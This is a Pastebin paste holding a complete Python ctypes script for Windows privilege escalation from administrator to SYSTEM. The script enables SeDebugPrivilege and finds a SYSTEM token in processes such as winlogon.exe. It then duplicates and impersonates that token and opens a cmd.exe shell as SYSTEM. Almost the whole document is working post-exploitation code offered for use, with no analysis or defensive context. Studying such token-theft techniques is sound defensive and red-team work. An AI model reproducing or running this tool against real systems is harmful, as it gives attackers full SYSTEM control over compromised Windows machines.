amiralbenz

Admin to System Privilege Escalation

Sep 7th, 2015
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.81 KB | None | 0 0
  1. import sys, os
  2. from ctypes import *
  3.  
  4. if not windll.Shell32.IsUserAnAdmin():
  5.     print "[!] This script should be run as admin!"
  6.     print "[!] Exiting."
  7.     sys.exit()
  8.  
  9. LPVOID = c_void_p
  10. PVOID = LPVOID
  11. PSID = PVOID
  12. DWORD = c_uint32
  13. LPSTR = c_char_p
  14. HANDLE      = LPVOID
  15. INVALID_HANDLE_VALUE = c_void_p(-1).value
  16. LONG        = c_long
  17. WORD        = c_uint16
  18.  
  19. READ_CONTROL                     = 0x00020000L
  20. STANDARD_RIGHTS_READ             = READ_CONTROL
  21. STANDARD_RIGHTS_REQUIRED         = 0x000F0000L
  22.  
  23. TOKEN_ASSIGN_PRIMARY    = 0x0001
  24. TOKEN_DUPLICATE         = 0x0002
  25. TOKEN_IMPERSONATE       = 0x0004
  26. TOKEN_QUERY             = 0x0008
  27. TOKEN_QUERY_SOURCE      = 0x0010
  28. TOKEN_ADJUST_PRIVILEGES = 0x0020
  29. TOKEN_ADJUST_GROUPS     = 0x0040
  30. TOKEN_ADJUST_DEFAULT    = 0x0080
  31. TOKEN_ADJUST_SESSIONID  = 0x0100
  32. TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
  33. tokenprivs  = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072L | 4))
  34. TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
  35.         TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
  36.         TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
  37.         TOKEN_ADJUST_SESSIONID)
  38.  
  39. PROCESS_QUERY_INFORMATION = 0x0400
  40.  
  41. class LUID(Structure):
  42.     _fields_ = [
  43.         ("LowPart",     DWORD),
  44.         ("HighPart",    LONG),
  45.     ]
  46.  
  47. class SID_AND_ATTRIBUTES(Structure):
  48.     _fields_ = [
  49.         ("Sid",         PSID),
  50.         ("Attributes",  DWORD),
  51.     ]
  52.  
  53. class TOKEN_USER(Structure):
  54.     _fields_ = [
  55.         ("User", SID_AND_ATTRIBUTES),]
  56.  
  57. class LUID_AND_ATTRIBUTES(Structure):
  58.     _fields_ = [
  59.         ("Luid",        LUID),
  60.         ("Attributes",  DWORD),
  61.     ]
  62.  
  63. class TOKEN_PRIVILEGES(Structure):
  64.     _fields_ = [
  65.         ("PrivilegeCount",  DWORD),
  66.         ("Privileges",      LUID_AND_ATTRIBUTES),
  67.     ]
  68.  
  69. class PROCESS_INFORMATION(Structure):
  70.     _fields_ = [
  71.         ('hProcess',    HANDLE),
  72.         ('hThread',     HANDLE),
  73.         ('dwProcessId', DWORD),
  74.         ('dwThreadId',  DWORD),
  75.     ]
  76.  
  77. class STARTUPINFO(Structure):
  78.     _fields_ = [
  79.         ('cb',              DWORD),
  80.         ('lpReserved',      LPSTR),
  81.         ('lpDesktop',       LPSTR),
  82.         ('lpTitle',         LPSTR),
  83.         ('dwX',             DWORD),
  84.         ('dwY',             DWORD),
  85.         ('dwXSize',         DWORD),
  86.         ('dwYSize',         DWORD),
  87.         ('dwXCountChars',   DWORD),
  88.         ('dwYCountChars',   DWORD),
  89.         ('dwFillAttribute', DWORD),
  90.         ('dwFlags',         DWORD),
  91.         ('wShowWindow',     WORD),
  92.         ('cbReserved2',     WORD),
  93.         ('lpReserved2',     LPVOID),    # LPBYTE
  94.         ('hStdInput',       HANDLE),
  95.         ('hStdOutput',      HANDLE),
  96.         ('hStdError',       HANDLE),
  97.     ]
  98.  
  99. def GetUserName():
  100.     nSize = DWORD(0)
  101.     windll.advapi32.GetUserNameA(None, byref(nSize))
  102.     error = GetLastError()
  103.    
  104.     ERROR_INSUFFICIENT_BUFFER = 122
  105.     if error != ERROR_INSUFFICIENT_BUFFER:
  106.         raise WinError(error)
  107.    
  108.     lpBuffer = create_string_buffer('', nSize.value + 1)
  109.    
  110.     success = windll.advapi32.GetUserNameA(lpBuffer, byref(nSize))
  111.     if not success:
  112.         raise WinError()
  113.     return lpBuffer.value
  114.  
  115. def GetTokenSid(hToken):
  116.     """Retrieve SID from Token"""
  117.     dwSize = DWORD(0)
  118.     pStringSid = LPSTR()
  119.    
  120.     TokenUser = 1
  121.     windll.advapi32.GetTokenInformation(hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize))
  122.                                
  123.     address = windll.kernel32.LocalAlloc(0x0040, dwSize)
  124.    
  125.     windll.advapi32.GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize))
  126.  
  127.     pToken_User = cast(address, POINTER(TOKEN_USER))
  128.  
  129.     windll.advapi32.ConvertSidToStringSidA(pToken_User.contents.User.Sid, byref(pStringSid))
  130.     sid = pStringSid.value
  131.    
  132.     windll.kernel32.LocalFree(address)
  133.     return sid
  134.  
  135. def EnablePrivilege(privilegeStr, hToken = None):
  136.     """Enable Privilege on token, if no token is given the function gets the token of the current process."""
  137.     if hToken == None:
  138.         TOKEN_ADJUST_PRIVILEGES = 0x00000020
  139.         TOKEN_QUERY = 0x0008
  140.         hToken = HANDLE(INVALID_HANDLE_VALUE)
  141.         windll.advapi32.OpenProcessToken( windll.kernel32.GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken) )
  142.    
  143.     privilege_id = LUID()
  144.     windll.advapi32.LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id))
  145.  
  146.     SE_PRIVILEGE_ENABLED = 0x00000002
  147.     laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED)
  148.     tp  = TOKEN_PRIVILEGES(1, laa)
  149.    
  150.     windll.advapi32.AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None)  
  151.  
  152. def procids():
  153.     """A list of every pid, sorted but first pids is winlogon.exe"""
  154.  
  155.     count = 32
  156.     while True:
  157.         ProcessIds = ( DWORD * count)()
  158.         cb = sizeof( ProcessIds )
  159.         BytesReturned = DWORD()
  160.         if windll.psapi.EnumProcesses( byref(ProcessIds), cb, byref(BytesReturned)):
  161.             if BytesReturned.value < cb:
  162.                 break
  163.             else:
  164.                 count *= 2
  165.        
  166.     for index in range(BytesReturned.value / sizeof( DWORD ) ):
  167.         ProcessId = ProcessIds[index]
  168.         hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, ProcessId)
  169.         if hProcess:
  170.             ImageFileName = ( c_char * 260 )()
  171.             if windll.psapi.GetProcessImageFileNameA(hProcess, ImageFileName, 260) > 0:
  172.                 filename = os.path.basename(ImageFileName.value)
  173.                 if filename == "winlogon.exe":
  174.                     winlogon_pid = ProcessIds[index]
  175.             windll.kernel32.CloseHandle(hProcess)  
  176.  
  177.     pids = [ ProcessIds[index] for index in range( BytesReturned.value / sizeof(DWORD)) ]
  178.     pids.remove(winlogon_pid)
  179.  
  180.     return [ winlogon_pid ] + pids
  181.  
  182. def GetLocalSystemProcessToken():
  183.     """Takes a list of pids and checks if the process has a token with SYSTEM user, if so it returns the token handle."""    
  184.     pids = procids()
  185.  
  186.     for pid in pids:
  187.         try:
  188.            
  189.             hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
  190.  
  191.             hToken = HANDLE(INVALID_HANDLE_VALUE)
  192.             windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken))
  193.  
  194. ##If token SID is the SID of SYSTEM, return the token handle.
  195.             if GetTokenSid( hToken ) == "S-1-5-18":
  196.                 print "\t[+] Using PID: " + str(pid)
  197.                 windll.kernel32.CloseHandle(hProcess)
  198.                 return hToken
  199.  
  200.             windll.kernel32.CloseHandle(hToken)
  201.             windll.kernel32.CloseHandle(hProcess)
  202.  
  203.         except WindowsError, e :
  204.             print "[!] Error:" + str(e)
  205.  
  206.  
  207. ##Enable SE_DEBUG_NAME(debugprivileges) on the current process.
  208. print "[+] Enabling SE_DEBUG_NAME"
  209. EnablePrivilege("SeDebugPrivilege")
  210.  
  211. ##Get a SYSTEM user token.
  212. print "[+] Retrieving SYSTEM token"
  213. hToken = GetLocalSystemProcessToken()
  214.  
  215. ##Duplicate it to a Primary Token, so it can be passed to CreateProcess.
  216. print "[+] Duplicating token"
  217. hTokendupe = HANDLE( INVALID_HANDLE_VALUE )
  218.  
  219. SecurityImpersonation = 2
  220. TokenPrimary = 1
  221. windll.advapi32.DuplicateTokenEx( hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref( hTokendupe ) )
  222.  
  223. ##Now we have duplicated the token, we can close the orginal.
  224. windll.kernel32.CloseHandle(hToken)
  225.  
  226. ##Enable SE_ASSIGNPRIMARYTOKEN_NAME and SE_INCREASE_QUOTA_NAME, these are both needed to start a process with a token.
  227. print "[+] Enabling SE_ASSIGNPRIMARYTOKEN_NAME"
  228. EnablePrivilege( "SeAssignPrimaryTokenPrivilege", hToken = hTokendupe )
  229.  
  230. print "[+] Enabling SE_INCREASE_QUOTA_NAME"
  231. EnablePrivilege( "SeIncreaseQuotaPrivilege", hToken = hTokendupe )
  232.  
  233. ##Enable SE_IMPERSONATE_NAME, so that we can impersonate the SYSTEM token.
  234. print "[+] Enabling SE_IMPERSONATE_NAME"
  235. EnablePrivilege("SeImpersonatePrivilege")
  236.  
  237. print "[+] Impersonating token"
  238. windll.advapi32.ImpersonateLoggedOnUser( hTokendupe )
  239. print "[+] Running as: " + GetUserName()
  240.  
  241. ##Start the process with the token.
  242. try:
  243.     print "[+] Starting shell as SYSTEM"
  244.     lpProcessInformation = PROCESS_INFORMATION()
  245.     lpStartupInfo = STARTUPINFO()
  246.     CREATE_NEW_CONSOLE = 0x00000010
  247.    
  248.     windll.advapi32.CreateProcessAsUserA(hTokendupe, r"C:\Windows\System32\cmd.exe", None, None, None, True, CREATE_NEW_CONSOLE, None, None, byref(lpStartupInfo), byref(lpProcessInformation))
  249.     print "\t[+] PID: " + str(lpProcessInformation.dwProcessId)
  250. except WindowsError, e :
  251.     print "[!] Error:" + str(e)
  252.  
  253. ##Clean up, revert back to self and close the handles
  254. print "[+] Cleaning up: "
  255. print "\t[+] Reverting to self"
  256. windll.advapi32.RevertToSelf()
  257. print "\t[+] Running as: " + GetUserName()
  258.  
  259. print "\t[+] Closing Handle"
  260. windll.kernel32.CloseHandle(hTokendupe)
Advertisement
Add Comment
Please, Sign In to add comment